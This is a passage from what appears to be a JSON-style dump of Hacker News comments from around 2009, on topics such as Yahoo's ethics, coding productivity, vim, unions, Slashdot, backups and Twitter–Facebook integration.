href=\\\"http://en.wikipedia.org/wiki/Yahoo!#Criticism_and_controversy\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Yahoo!#Criticism_and_controvers...</a>. I personally know developers that choose alternatives to Yahoo whenever possible for ethical reasons. I personally know people who refuse to work for Yahoo for ethical reasons. Are there a statistically significant number? I don't know. But, I've never heard anybody claim that Yahoo is on any kind of ethical high ground either.<p>Of course 99.9% of the people at Yahoo! are great people. But, historically, the company's top management has failed ethically in very important cases. And, their official policy (marketing message) on ethics is weak. Google's marketing message on ethics is much stronger.<p>Keep in mind that while I think Google is <i>seen</i> as a more ethical company, I am not saying that one company actually <i>is</i> better than the other. I'm only talking about perception and the marketing messages that each company has put out.\", \"I am a huge proponent of writing as little code as possible. To that end, making use of third-party libraries, frameworks, and so on are marks of a great programmer (to me). Even still, a product should speak for itself; it should not have to be justified by the amount of time it took to create it.\", \"Interesting topic of conversation: Are there any good programmers here who would say that they do <i>not</i> think visually about their programs? If so, how do you think about them? I'm especially interested in the larger-scale; I don't know that I \\\"visualize\\\" a single function, but I can't understand the architecture without something like a visualization.<p>I can't answer this question. I'm definitely visual, but I'm intrigued at any alternatives anyone could try to explain.\", \"Hmm, I wonder if hosting ate up most of their money.<p>You guys could always get a slice at linode and save even more.\", \"Off the top of my head, automatically setting file-sharing to share your public folder over their AFP protocol, but hiding the ability to share files with Windows computers in an arcane dialog box. To do Windows sharing, you have to click Options under Sharing, <i>and</i> understand that \\\"SMB sharing\\\" is actually secret code for Windows sharing.<p>And, even though any old Mac can connect to yours, it's impossible (AFAIK) to enable anonymous sharing over SMB, which causes problems with stuff like XBMC.\", \"No, because that would break even more laws than social lending did in the first place.<p>These are donations apparently. I don't get it.\", \"I don't know that I can comment, though probably not for the reason you might think. I'm reasonably comfortable with the idea that current schooling isn't boy-optimal, but I don't think it's girl-optimal, either. I think we need many more studies done on a range of schooling techniques, gathering as much data about the students as possible, and subjecting the whole data set to a principal component analysis.<p>(<a href=\\\"http://en.wikipedia.org/wiki/Principal_component_analysis\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Principal_component_analysis</a> , or freely substitute a technique more appropriate to the characteristics of whatever data would emerge, I'm sort of using this term in a generic sense, over Wikipedia's complaints about exactly that. :) )<p>Gender is just one division, but it may not actually be an interesting one. It may very well be that the relevant educational attributes that determine the optimal learning style happen to be highly correlated to gender, but you're still better off just ignoring the gender and going straight to the results of a profiling test. Actually, having typed that, the more I think about it the more likely it seems. But then, who knows; with performing the analysis you can't really know and the results are often quite counterintuitive.<p>This would help everyone, regardless of gender.<p>But alas, education is sacrosanct, set in stone, not to be touched except to do More of the Same, only Harder (TM)...\", \"It isn't lending when you are giving the money away.\", \"To me it's a \\\"serious security vulnerability\\\" only in the sense that if they were that lackadaisical with their password storage, where else have they made poor decisions with regards to security?<p>I think you'll agree that security is not a single thing you do, but a series of things that makes getting at sensitive data more difficult. To store all passwords as plaintext (including passwords for administrators, I would assume) surely must be considered a serious oversight at the least.<p>I feel as though maybe we're missing some nuance in your position on this.\", \"Like what, exactly? I'm not trying to be a dick, I just really can't think of anything. All the stuff my Mac does automatically seems to be standard OS stuff that I really don't need to deal with personally each and every time. Like connecting to a wireless network without giving me a giant, sticky notification that it's done so.\", \"So aesthetics of any kind are foreign to you? Or just in relation to programming? Are you equally eager to sit down on a pile of bricks as on an Aeron?\", NaN, \"Anecdotal evidence inbound.<p>I know I am a very visual thinker. When given a box of parts I can visualize how they fit together in my head. I can take things apart and put them together different ways without actually touching them.<p>It took me a long time that not everyone thinks that way; and it was the source of a lot of frustration for me that people wouldn't get what I was saying.<p>I don't know if it makes visual thinking a geek gene, but it certainly does help in reasoning about problems. You can treat a lot of software as a set of mechanical problems versus abstract ideas. If you can flip a picture of something around in your head, it makes it easy to see if something will work or not; you know immediately if the parts won't fit.\", \"Go Waterloo! Go Warriors (<a href=\\\"http://www.athletics.uwaterloo.ca/\\\" rel=\\\"nofollow\\\">http://www.athletics.uwaterloo.ca/</a>)!\", \"See: <a href=\\\"http://delong.typepad.com/sdj/2009/05/cato-institute-crashed-burned-and-smoking-watch.html\\\" rel=\\\"nofollow\\\">http://delong.typepad.com/sdj/2009/05/cato-institute-crashed...</a>\", \"I definitely believe it could be true.  I don't think the music story would be out of character for Einstein.<p>One of my academic advisors was Professor Robert Borkenstein (he invented the breathalyzer, among other things.)  Before he got into academia, he had worked as a police captain and forensics advisor to various organizations, including the International Association of Chiefs of Police.  I was visiting Borkenstein's office once, long after he became a Professor Emeritus, and I commented on some artwork he had on the wall.  I was really just making small-talk out of nervousness, and I hadn't really even looked at the drawings beyond a quick glance.  Borkenstein perked up and asked me to really examine the drawings, and tell him what I thought about them.  They were just sketches and doodles, mostly...nothing elaborate. I was going to just say they were 'nice\\\" out of courtesy, when I realized a few of them were signed...by Albert Einstein.<p>It turned out that Borkenstein had worked as a guard for Einstein and some of the other scientists involved in the US nuclear efforts when he was younger.  He wasn't supposed to interact with any of them, he was just there to help insure their protection.  One day, Bob was so curious about the mechanics of something they were discussing that he forgot his place and asked a question.  Einstein apparently spent quite a bit of time explaining the confusing concept, and became fond of Bob and his curiosity.  He recognized that Bob had a very inventive mind and apparently wanted to encourage it, so whenever Bob worked a shift, Einstein would chat with him. Einstein had drawn most of the sketches on the wall to explain various concepts, although some of them were just absent-minded sketches.  He let Bob keep them when the protection detail ended.<p>The sketches meant a great deal to Bob, and I think he had kept them somewhere in his office for his entire career.  I also think the sketches (and personal attention from Einstein) helped provide some of the impetus for Bob's inventing career. Unfortunately, I don't recall all of the details Bob gave when telling his story about the Einstein discussions, but I remember that he was very reverential, awed that Einstein had taken the time to discuss important things with a guard.  I think Einstein was genuinely fascinated with how other people view the world...and they say a new perspective is worth XXX IQ points, right?\", \"Just because they wrote a patent application to scan books this way does not mean they actually do it this way.\", \"I actually cut you some slack and upgraded the point to \\\"Al<i>most</i> all gender role is social.\\\" To disprove \\\"All gender role is social\\\", it technically suffices to show only one example of a gender role that could not possibly be social. I actually cite many (as I consider each child I know a separate data point). It should also be pointed out that it's non-trivial, which is why I shared it in the first place; even very knowledgeable non-parents (such as I was) can be surprised by the reality.<p>I thought I might be overstretching with that bit about not buying into the \\\"line\\\", but maybe not. Logic 101, universals can be disproven with a single counterexample. Logic 301 or so, very-nearly-universals can be rendered implausibly unlikely with just a few counterexamples with little regard to distribution. That only works on very-nearly-universals, but it's perfectly sound. (I'm not out to show that gender is 100% biological, only that 100% social is an absurdity.) Anecdotes may not be \\\"data\\\", but there are logically-legitimate uses they can be put to.\", \"\\\"Chances are they (a) used something familiar to them and (b) most of the code came from existing libraries, APIs, etc.\\\"<p>That's almost always true, but perhaps that's the lesson right there.  People (other than development snobs) don't care what you used to build it or whether you had prior experience in the field, but they do care that you can get something to them quickly that satisfies their needs.  So maybe the takeaway is a.) learn some useful libraries, and learn them well and b.) use what's familiar to you.\", \"When Lawrence Summers resigned I was highly disappointed about the entire incident, as it seems no one can question, with good intentions, generally accepted facts about gender equality in the interest of the truth, rather than what might be the socially acceptable answer. I was glad to find an article that posits some alternative hypotheses and simply acknowledges that the answers are not so simple as they might seem, and that discusses the issue from a neutral, non-activist viewpoint. I read Pinker's article in The New Republic, but this one talks about the issue more than about the discussion itself.<p>One thing I kept expecting the talk to mention as I was reading was the importance of outliers. While I agree that comparisons of fundamental ability between the sexes, as opposed to factors such as motivation, is probably flawed, I think it might make the argument more immune to activist criticism to point out that there are always outliers in either group. Just because men may be, on average, more inclined to build large businesses, for example, does not mean that each man is more inclined to build large businesses than every woman \\u2014 the curves overlap. Of course, the different shape of the distributions are important, as Baumeister pointed out (the male curves tend to be bimodal in certain cases whereas the female ones might be more normal). But there are always outliers, and so there will probably always be certain woman who are better at any given thing than most men; even though there may be more men than woman who are 'really good'. The entire talk discusses generalities and statistical tendencies, I know, but might easily be confused by less sophisticated readers as talking about individuals, which seems to be the common criticism of such talk.\", \"> So tell me, how do we make Windows 7 better?<p>We?  Do you work for Microsoft?<p>> Do we make decisions for our users and then complaints for not offering options?<p>That depends on what kind of decision is being made.  Whenever you offer a choice it needs to be clear what tradeoff is being made.  Why would anyone not want the recommended option?  A better dialog would read something like this?<p>Do you want Windows to automatically download driver software for your devices?  This works most of the time, but can cause problems with a few less popular devices.<p>__ Yes (recommended)\\\\n__ No, I don't trust you idiots at Microsoft.  I want to manage my drivers manually.<p>Do you want Windows to download realistic icons for your devices?  Realistic icons look better, but use more disk space and RAM, and can have a negative impact on performance.<p>__ Yes, I'm all about the eye candy.\\\\n__ No, I have the need for speed.\", \"You still consult Google and the language reference, but much less frequently.  Generally, if you want to get feature release time down to hours instead of days, you'll need to have the \\\"core\\\" of the language in memory.  That usually includes language syntax, string methods, data structures API, whatever basic IO library you're using (files/database/network), and various other simple utilities.  You'll know when you see them, because you see them repeatedly.<p>The other point that I haven't seen brought up here is to have a clear goal in mind.  Know what you're building, because you can't build it otherwise.  Unfortunately, this is often kinda tough if you're developing a new product, because your initial ideas for what makes a good product are almost always wrong, and you tend to discover that as you start implementing.   So I've found it helps to think of your code as temporary: I know what I'm building <i>this iteration</i>, and I'll just go code it up and see how it works, but it's assumed that I'll have to throw it away anyway and build something better next iteration.\", \"Note to others: Just up vote if you will attend too.\", \"My stats prof used to take about \\\"Type 3 errors.\\\" Type 1 and 2 errors are part of a basic stats course. Type 3 = \\\"solving the wrong problem.\\\"\", \"Those zany MIT geeks! :) Sure they have their own website that details all the pranks:<p><a href=\\\"http://hacks.mit.edu/\\\" rel=\\\"nofollow\\\">http://hacks.mit.edu/</a><p>I think the cop car, complete with donuts, on the dome is still one of the best:<p><a href=\\\"http://hacks.mit.edu/Hacks/by_year/1994/cp_car/\\\" rel=\\\"nofollow\\\">http://hacks.mit.edu/Hacks/by_year/1994/cp_car/</a>\", \"Does it first convert the page to valid xhtml and then perform the xpath or does it rely on the website to be well-marked?\", \"It's much easier in India too. Basically, if you are a salaried person, You just attach the copy of the taxes that the company has paid on your behalf (after deducting it every month from your salary) with an one-page form and submit it.<p>After coming to US, I was perplexed to see the complexity of the tax filing, which was incongruent to every other system I've encountered. Getting a driving license and a work permit were so much easier in comparison.\", \"<i>I measure my production time in days, not hours, so any tips on just how to \\\"code quicker\\\"?</i><p>Code less.<p>That isn't being flippant.  Code you don't write is code you don't have to debug.  It is code you don't have to integrate with your other functions.  It is code you don't have to refactor.  It is code that requires no maintenance.<p>I got the first version of my application up, running, and out the door in 8 days at a \\\"normal work week\\\" rate.  I'm not a particularly good programmer, I just cut the feature set for 1.0 to the bone.  Since then it has been three years now of iterations on the existing codebase that typically add a just a few hundred lines at a time.<p>I also rely -- heavily -- on libraries and frameworks that do stuff better than I could, and on Google for code references whenever I'm doing something which is new to me.  (It took me probably 3 years until I could write Swing apps without a browser open.  By that standard you'd think I'd be able to do it for Rails by now... but not quite, unless it is a pretty basic app.)\", \"Something that Google's first employee said recently stuck with me: \\\"I would say the single most important thing an engineer can do to be effective is to pick the right problem to work on.\\\"  Alas, he had no idea how to do that (or rather, he obviously had a very good idea how to do it, but was unable to put it into words), but the quote resonates a lot with my experience.  I've wasted so much time on projects that in retrospect weren't really all that important - I coded them quickly, and learned quite a bit that came in handy later, but the problems themselves were basically non-problems.\", \"A commercial solution to the IRS's problem? Existing tax preparation software takes past returns into account and just asks the user to enter new information. How would Mint's system be better (aside from having access to your banking history)? The third-party intervention (and profit) doesn't go away.\", \"Don't make me think.\", NaN, \"So tell me, how do we make Windows 7 better? Do we make decisions for our users and then complaints for not offering options? Where is the medium here, and how is such a thing even remotely close to a reason why Windows 7 is not the answer? You answer this dialog once after you first install, and you never see it again if you use recommended settings. So what's so confusing about that?\", \"The following five programs are some of my favorite staples to install on a fresh copy of Windows XP:<p>1) Notepad++<p>My favorite free, open source text editor. Gets the job done.<p>2) Mozilla Sunbird<p>Sunbird helps me keep track of what I have to do with calendar and to-do list features. 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If my cursor is on the g, I can say ctOcreate<esc> (change the text between the cursor up to the character before the next O to read \\\"create\\\").  outside of vim, I have to move my cursor over to the O, backspace out the \\\"getNew\\\" and then type \\\"create\\\".<p>a nine character difference (or three if you have a delete-character command) doesn't sound like much, but it adds up & also breaks you out of your flow a little bit.  I find myself doing refactorings other people wouldn't do, just because I know how to do them very quickly in vim, while others would be arrow-keying and back-spacing around forever.\", NaN, \"<i>\\\"... What's amazing to me isn't that /. has carried on this long, but rather that the comment quality on here hasn't gone the way of most social new sites. ...\\\"</i><p>I am surprised /. has survived. The place pretty much as it was back when it started in '97.<p><pre><code>    As our way of thanking you for your \\\\n    positive contributions to Slashdot, \\\\n    you are eligible to disable advertising\\\\n</code></pre>\\\\nThis is my first post [0] for a couple of years. But there was a time when I lived here. I remember when /. was sold & CmdrTaco said all he wanted to do was run it I'm sure I for one didn't believe he'd still be at it now. The sig/noise is still bad if you trawl below the +2 level. But at +5 it's readable. I think the combination of moderation, ability to filter comments (text, best comments at top), culture and relationships have helped shape the site into something still readable. HackerNews exhibits all of the same sorts of growing pains /. had to go through.<p>[0] <a href=\\\"http://slashdot.org/comments.pl?sid=1475404&cid=30409194\\\" rel=\\\"nofollow\\\">http://slashdot.org/comments.pl?sid=1475404&cid=30409194</a>\", \"LINQ is nice and if it helps db4o which is GPL has Java and .NET languages support.\", \"> <i>will recognize that functions in JScript are fundamentally the Lambda Calculus</i><p>i would have thought you could say that about functions in any language...\", \"Perhaps someone with more knowledge of them can speak to this, but I know in some circles there is a belief that unions tend to commoditize their workers, practice if not in theory.<p>I do not know if that is true, but I do know that I absolutely do not want my services to be a commodity.  I work hard to try to get into the upper echelons of a highly differentiated field, and I would seek to either differentiate myself or change fields to a more differentiated one if it began to appear that my services could easily be commoditized.\", \"Jamie Zawinski said to shut up, stop what you're doing and make a back-up. Jeff simply spread Jamie's message to a wider audience, rather than claiming it as his own.\", \"Pretty on point.<p>\\\"There was this weird lump in my throat, this tightness in my chest. I had this vision of the future \\u2014 a ruined empire, run by number crunchers, squalid and stupid and puffed up with phony patriotism, settling for a long slow decline.\\\"\", \"Not sure about the patents but your link says:<p><i>the Apple patent proposes interweaving photo sensors alongside each pixel projector</i><p>whereas the linked video shows photo sensors around the edge of the screen, which they claim is superior to photo sensors between pixels. A subtle difference, so not sure if Apple's patent applies.\", NaN, \"> If deliberate, humorous exaggeration in argument is wrong, I'm in some great company! e.g. Mark Twain, Oscar Wilde, yaddayadda.<p>Are you trying to do what they did?  If not....\", \"No it's not.<p>It should be.  It might even be in some of the plans.  But most of the time it doesn't happen.\", \"I'm wondering if there is some deep technical reason why a text-to-mediawiki markup converter hasn't been created...yet.<p>Or a conversion extension that sits \\\"inside\\\" mediawiki so to speak and lets users type using a WYSIWYG window and then does the conversion after the user hits submit.<p>I was watching a video at the singularity university website and the the person giving the talk challenged anyone to create this in passing.<p>I know there is a mediawiki \\\"usability\\\" initiative but the editor is still a stretch away from people using microsoft word or other similar programs they are accustomed to\", \"I used QueryPath for a recent project and really liked it. Its selectors are almost identical to jQuery's so the learning curve was shallow. Two thing QueryPath does that this library doesn't seem to is work w/ XML and allow for chainable method calls. See this IBM Developer Work's article <a href=\\\"http://www.ibm.com/developerworks/opensource/library/os-php-querypath/\\\" rel=\\\"nofollow\\\">http://www.ibm.com/developerworks/opensource/library/os-php-...</a>\", \"This is a problem with the twitter api, which makes it easy to use twitter screen names, which are not permanent, and not twitter user ids, which are permanent.\", \"No need to scrape: <a href=\\\"http://twitter.com/<USERNAME>?format=json\\\" rel=\\\"nofollow\\\">http://twitter.com/<USERNAME>?format=json</a>\", \"I'm always a bit surprised whenever I hear that /. is still running. I'm sure they're still a very successful site, but it's been like, forever. Aren't they bored?\", \"> Not all unions are like that.<p>How about 3 examples that are more than 30 years old.  (Unions tend to last as long as the host, which is a problem for the UAW.)\", \"s3sync is great. I'm using it for automated backups for a number of work projects. Thank you for writing it and sharing it.\", \"Interesting comment:<p>What's amazing to me isn't that /. has carried on this long, but rather that the comment quality on here hasn't gone the way of most social new sites. It seems that in general as a social news site ages, matures, and grows, the comment quality follows an inverse pattern. Or more simply, as the number of users approaches infinity, the comment quality approaches 4chan. Digg used to be a decent site for discussion; now you'd be laughed at for even suggesting that the comments might be notable. Reddit is quickly getting there. Slashdot though seems to best this pattern. While I'm well aware that someone will reply to this with \\\"In soviet russia 4chan approaches you!\\\" or something similar in a successful attempt to disprove my point, but I think it still holds true in some respect. Kudos slashdot, keep it up. You keep trying to make UI (un)improvements and we'll still be here to comment without RTFA - and we'll both be thankful for it.<p><a href=\\\"http://meta.slashdot.org/comments.pl?sid=1475404&cid=30408166\\\" rel=\\\"nofollow\\\">http://meta.slashdot.org/comments.pl?sid=1475404&cid=304...</a>\", \"What about a short movie vs. screenshots?\", \"This week Digg posted that they've had over 14 Million stories posted to their site after only 5 years.<p>Slashdot is probably talking about front-page stories and not submissions, but, if we consider the editorial process, 100,000 is definitely high.<p>P.S. One of my most exciting geek-memories as a younger man was having one of my submissions hit the front-page of Slashdot.\", \"My first response to seeing this over HN's twitter feed was \\\"what, only?\\\"\", \"Old saying is \\\"If it ain't tested, is is broken.\\\"\\\\nOld corollary: \\\"If it is tested, it might still be broken.\\\"\\\\nAnd: \\\"If it is a backup, it might still be broken.\\\"<p>Seems like a good idea to occasionally spend the time and totally fill a sparkley clean image with your backups and see how well it fares.<p>My sympathies.\", \"believe it or not, this was intentional and an homage to slashdot (the concept of having low IDs that are publicly viewable), however obscure<p>the public link feature was actually a proof of concept and never intended to stick around :)<p>but anyway, having this information doesn't let you do anything but get a rough count of our users, so saying it's a security issue is a stretch. there are no public-facing forms or inputs that take these values as input\", \"This is why i just do / or ?\", \"Just for fun, you might want to drop Olark (<a href=\\\"http://olark.com\\\" rel=\\\"nofollow\\\">http://olark.com</a>) on your website, so when you do get useful traffic you'll have an opportunity to help sell to them -- it's worked out pretty well for us.  (shameless plug)\", \">Some people are afraid to say something about a contract because they're afraid they won't be hired or they're afraid they'll get fired if they're an employee.<p>This is not a problem I have.<p>Is there way a union will specifically benefit me?\", \"I feel for the guy too, but it really isn't the first time in the last couple of months that some service provider fails at their #1 stated goal: to keep your data safe.<p>And it isn't just the small ones either.<p>For the love of - insert your favorite deity here - please <i>try</i> to restore your backups, and try to do so on a regular basis. If not all you might have is the illusion of a backup.<p>It is a very easy trap to fall in to, and I really am happy this guy writes about it because it seems there are still people that feel that if their data is in the hands of third parties that it is safe.<p>That goes for your stuff on flickr, but it also goes for your google mail account and all those other 'safe' ways to store your data online. In the end you have to ask who suffers the biggest loss if your data goes to the great big back-up drive in the sky, the service provider or you. If the answer is 'you' then go and make that extra backup.\", \"And it is a very badly written article.\", \"> MDs and politicians should absolutely be doing cost-benefit tradeoffs.<p>No, they shouldn't.  If I'd rather spend my money on hookers and booze, that's my decision to make.  If I'd rather spend all my money on health care so I've got a chance to see my first grandchild, that's also my decision to make.<p>I expect MDs to be experts on health benefits (\\\"your knee won't be stiff in the morning\\\") and health costs (like \\\"you'll limp if you let this slid\\\").  I expect someone associated to have a handle on how much money is involved.<p>However, that's not enough information to make a health care decision.  Someone has to decide the relative value of those things, to decide if the costs are worth the benefits.<p>I am the expert in deciding how much these things matter to me.  Booze vs grandchild is my call for me.  It's your call for you.  It's okay that we make different decisions.<p>If you think that I'm not \\\"the expert\\\" wrt those things for me, who is?<p>Or, do you think that those decisions shouldn't be made wrt my values for me?  I'll be happy to make them for you if you want, but I don't want you making them for me.<p>> Expecting everyone to be able to exhibit the judgment of a professional in every field is so wildly implausible that I've obviously mistaken your meaning.<p>Either I was unclear or you don't understand what experts are experts at.<p>> Politicians should be required to be experts.<p>It's easier to require them to be unicorns.<p>As a general rule, you don't get to assume unobtanium even if that's the only way to make your preferred approach work.  Any approach that requires unobtanium is, by definition, wrong, no matter how many ponies that you think that we'd get if it worked.\", \"You can get-by with just read-only C skills. Invest your time learning the ins and outs of python and its performance characteristics.<p>It's also inevitable that you will have to learn systems programming; POSIX or Win32 API most likely, for Unix and Windows respectively. But not for another year or so.<p>Have fun.\", \"It looks almost exactly what rsync.net provides. They're established. Why aren't you telling me why your service is better than theirs?<p>Your prices do appear to be cheaper but as you've said with a much larger minimum quantity. Is cost the only significant differentiating factor?\", \"<i>Blain is president of WashTech, a Seattle affiliate of the Communications Workers of America.</i><p>A link to the opposing viewpoint is cited at the end of the article.<p>Personally, I prefer to retain all of my bargaining control, rather than delegating it to another entity.<p>Furthermore, I do not understand the \\\"us-vs-them\\\" attitude that is pervasive in the pro-union mentality. I have stock in my company: I <i>am</i> them.\", \"Wow. For some reason it feels like such a \\\"low\\\" number. After so many years of browsing /. it feels like there has been so much stuff posted that the number should be so much higher.\", \"The repeat commands are your friend: Fh without looking, followed by ; and , if you don't end up in the right place the first time.\", \"Using Firefox 3.5.5 no fixes yet 12/11 for TB & Lightning. What a doozy! Remember satellite to mars, feet & meters? Here is one right on earth.\", \"I'm with ya.  This sort of thing can sneak up on you.\", \"I remember being Slashdotted in 1999.  It was a brutal onslaught of traffic.  Fortunately, more sites seem equipped to handle that sort of traffic today. (<a href=\\\"http://slashdot.org/story/99/12/04/158227\\\" rel=\\\"nofollow\\\">http://slashdot.org/story/99/12/04/158227</a>, if you're curious.)\", NaN, \"Unions are great when they are needed.  The problem with unions is that once they are not needed anymore they don't go away.\", \"You can learn the ins and outs of network programming in pretty much any language.  When you find yourself needing the level of control or speed which C offers, or compatibility with some platform, then go there.\", \"My friend and I have been working on a new way to better monetize ad-supported / free / next-to-free apps, and would love to talk to fellow iPhone developers on how they'd use our API.<p>We're also approaching that stage where we'd like to pilot the API and would love to get a handful of developers in the loop for this.<p>If you've released iPhone apps and are in the Bay Area and can make it to San Francisco / Berkeley, then we'd love to buy you a beer! =)<p>Thanks.\\\\nYou can email us at: developers@mobilefolk.com\", \"I find that having to concentrate on that actually refocuses me.  Sometimes my mind needs a rest and I do it the lazy way, but by-and-large it is an excellent habit.\", \"Actually it is easy to define: <a href=\\\"http://dictionary.reference.com/browse/obsolete\\\" rel=\\\"nofollow\\\">http://dictionary.reference.com/browse/obsolete</a><p>The term is misused in conversations that talk about fashion.  I like the 100 year rule mentioned there.  My hp200lx still has a way to go.\", \"I also like this one about printers:<p><a href=\\\"http://it.toolbox.com/blogs/irm-blog/bryces-pet-peeve-computer-printers-11242009-35499\\\" rel=\\\"nofollow\\\">http://it.toolbox.com/blogs/irm-blog/bryces-pet-peeve-comput...</a><p>where he talks about \\\"today's consumer dot-matrix printers\\\".\", \"<a href=\\\"http://github.com/c9s/Vimana\\\" rel=\\\"nofollow\\\">http://github.com/c9s/Vimana</a> referenced in there looks pretty neat.  Installing Vim plugins the normal way is indeed a un-fun process.\", \"Seems like a lot of people don't know about this nice service. It's my default search engine in the Firefox search bar:<p><a href=\\\"http://www.scroogle.org/cgi-bin/scraper.htm\\\" rel=\\\"nofollow\\\">http://www.scroogle.org/cgi-bin/scraper.htm</a>\", \"Firefox has a 47.4% marketshare as of August 2009??? Does anybody know what sources were used? It would be nice to see the same graph but this time with real data...\", \"Yeah, I actually do that.  If I see it's an \\\"h\\\" that I need to go back to, I'll do the \\\"Fh\\\".  Sometimes it takes me more than one jump to go back though (if any other \\\"h\\\" are in the way).\", \"I am tempted to make the blanket statement: \\\"Don't let non-technical managers manage technical people.\\\"<p>That would be unfair to all the good non-technical managers out there (I believe this is harder, but still possible).  How about \\\"Don't let managers who cannot establish a rapport with technical people manage technical people\\\"?\", \"We'll see if this is later confirmed but, I think it pretty funny that (as of this writing) Slashdot appears to be, well, Shashdotted over this post.   (Disclaimer: Obviously it won't be quite so funny if it turns out to be a malicious DoS attack or some quite unrelated glitch.)\", NaN, \"I don't understand what is wrong with editing the application settings:\\\\n<a href=\\\"http://www.facebook.com/editapps.php\\\" rel=\\\"nofollow\\\">http://www.facebook.com/editapps.php</a><p>What magic did you expect to happen to make this right? Should twitter's facebook app have disabled itself? I think that is correct behavior for deactivating an account.<p>On a similar note, you could control the apps on twitter with this tool:\\\\n<a href=\\\"http://twitter.com/account/connections\\\" rel=\\\"nofollow\\\">http://twitter.com/account/connections</a>\\\\n[unless you've given out your password, then you need to change it]\", NaN, \"I suspect the facebook app just subscribes to a bunch of giant search feeds for all users and then dishes out any new messages. There's no authentication involved in twitter searches so neither Facebook, nor the author of the FB app, nor Twitter are to blame: you are. You should have deleted the app when you deleted your twitter account.\", \"I always hate it when people say to use something like \\\"Fh\\\" to jump to the beginning of a section that starts with an 'h'. How much time will I waste thinking about whether or not there is or isn't another letter 'h' somewhere between the cursor and where I want to go? It's easy to construct examples like this <i>after</i> the fact, but it's not going to take me <1 sec to process the entire line for \\\"are there any h's?\\\"<p>Or am I in the minority here? Do people really think/code that way on a normal basis?\", \"The really scary thing is that it would probably sell like hotcakes. After all, plenty of people seem to use twitter to show the world what they're thinking (and that seems to be for the most part complete rubbish).<p>As the cost of a bit goes down the signal-to-noise ratio seems to get worse. Broadcasting everyones spoken words is definitely in our future somewhere if the current trends continue.\", \"this is the image on slide 52, provided for your convenience :)<p><a href=\\\"http://www.terminally-incoherent.com/blog/wp-content/uploads/2006/08/curves.jpg\\\" rel=\\\"nofollow\\\">http://www.terminally-incoherent.com/blog/wp-content/uploads...</a>\", \"Hmmm. I didn't interpret the article as stereotyping, but rather a writing style I think of as \\\"Making room for skepticism.\\\"  Basically sympathizing with the (stereotype) profile/skepticism/opposition the writer anticipates before putting a forth an idea.<p>I read this style all the time, and take it for what it is: a construct that makes things <i>easier</i> to digest, even when neither the argument, nor counterargument, apply to me.<p>Again, I usually find it helpful/intellectual lubricant, and did in this case.<p>That said, I can't deny your experience.  If you felt friction, there must be something to reconsider in this style of presentation.  Thanks potatolicious for taking the time to describe how it make you feel.  I will consider your ideas the next time I have to present slightly counter-intuitive things to folks. (I often present really technical things to business people who are handicapped not by their lack of technical skill, but extremely conservative approach to risk.)<p>And thanks as well to ahoyhere, who posted the article. Good stuff.\", NaN, \"he's back: <a href=\\\"http://twitter.com/codinghorror/statuses/6581734847\\\" rel=\\\"nofollow\\\">http://twitter.com/codinghorror/statuses/6581734847</a>\", \"It really isn't a relevant question. Anyone who self-identifies as a geek has skin in the game when it comes to my article because it's so much more about (self-limiting) self-image than <i>my</i> conception of what a geek\\\\nis.<p>Hint: if it pissed you off, it hit a nerve.\", NaN, \"I switched twitter names a while back, and even if I un and re install the app, it still won't update my facebook status.<p>I pretty much just gave up.\", NaN, \"I'd be interested in using it, but I'm a terrible predictor of what other people will find interesting.\", \"I'm ny particularly pleased to burst your bubble, but this spirit is alive and well even here on HN. I know it's more fun to think of this as a bastion of rationality and reason, but it's not. Mote importantly, holding rationality and \\\"facts\\\" above all else is another source of different but related problems.<p>Not involving elephants.<p>Remember, the more sure you are of\\\\nsomething, the more you are likely to be blinded to its flaws.\", NaN, \"Twitter can't fix this, unless the FB application is <i>only</i> using Twitter's authentication system to ensure it's properly linked.<p>Facebook twitter apps can just scrape twitter for your most recent status update -- if that's the case, they don't even need your twitter password to get updates.<p>(I don't know how that twitter->facebook app works, but given your situation, that's what I'd guess. So there isn't anything Twitter could do to stop it.)\", \"Uh, what?<p>Unless this reveals actual information about the valid account, this a sev:informational finding on any professional assessment. In other words: you probably wouldn't even list it as a vulnerability.<p>I'm not sure I've <i>ever</i> seen an application that didn't have an account ID distinguisher somewhere in it. All you need is a place that generates \\\"Permission denied\\\" instead of \\\"Not found\\\".<p>Publicly calling out Dropbox for something that has extremely minimal real-world impact is bad form. Dropbox might care that there's a method to count accounts (I doubt it, since most of those accounts are free, so you can't work them back to financials), but it's not a matter of Internet safety and hygiene.\", \"Local 1337 demands more red bull and pizza.\", \"Great points.  Earlier today I read an AP story before seeing this (now COB Friday).  While I have not gone through the posts at TC, the AP story appeared to have checked/ covered/ summarized both sides <a href=\\\"http://news.ycombinator.com/item?id=990515\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=990515</a><p>Interesting Arrington said neither has rights to the product.  Just pointing out from an independent AP source instead of TC.\", \"It isn't likely that he didn't think to make a contract.  More like he wanted better terms and thought he could jerk them around, and they thought the same thing.  In the end they both win a dead product.\", \"The article covers this: you register one of your cards, and use that for public purchases.  They plan to provide a sticker for that card to make it more obvious.\", \"Quite interesting. Both Rathakrishnan's remarks and TC's suit suggest the falling-out was over who would have majority control of the venture.<p>Incidentally, Engagdet has been all over this particular story...does someone there have history with TechCrunch? They seem to be very much on the side of Fusion Garage, for some reason.\", \"<i>It will all end in tears.</i><p>It will middle in tears, anyway.\", NaN, NaN, \"Does anybody else think its wrong how he blames his loss of $2mm on his website falling on Google's rankings?<p>Umm... maybe he lost $2mm from all the crap he bought!\", \"Very cool. This class consistently produces great projects. You can see all the projects since 2006 here: <a href=\\\"http://instruct1.cit.cornell.edu/Courses/ece576/FinalProjects/\\\" rel=\\\"nofollow\\\">http://instruct1.cit.cornell.edu/Courses/ece576/FinalProject...</a>\", \"transcript is wrong, he says $75,000 in the actual interview.\", \"Did you contact Twitter? If yes what did they say?\", \"My group at work recently brought up the point that we don't celebrate success.  We get so caught up in schedules, putting out fires and working to meet the next milestone that we don't stop to celebrate any of our successes.  We could blame senior management for not setting the right atmosphere but we also determined that \\\"we\\\" should be able to celebrate success on our own.  How DO YOU celebrate success within your own groups?  Any feedback, recommendations or other ideas are welcomed.  Thanks in advance.\", NaN, \"This is one of the classic ways people hook you into giving up your privacy, by talking about only the benefits and not talking about the costs.<p>I don't deny that amongst the buried millions of transactions this system will most assuredly generate, some minute fraction may actually benefit somebody by showing Comcast shenanigans or something. But... at what cost?<p>Sure, consumers might get some small amount of \\\"empowerment\\\", and all it took was handing large amounts of empowerment over to Blippy and whatever \\\"affiliates\\\" they sign with next month. Wow, what a <i>deal!</i>\", \"Yes oral contracts can be enforceable, but 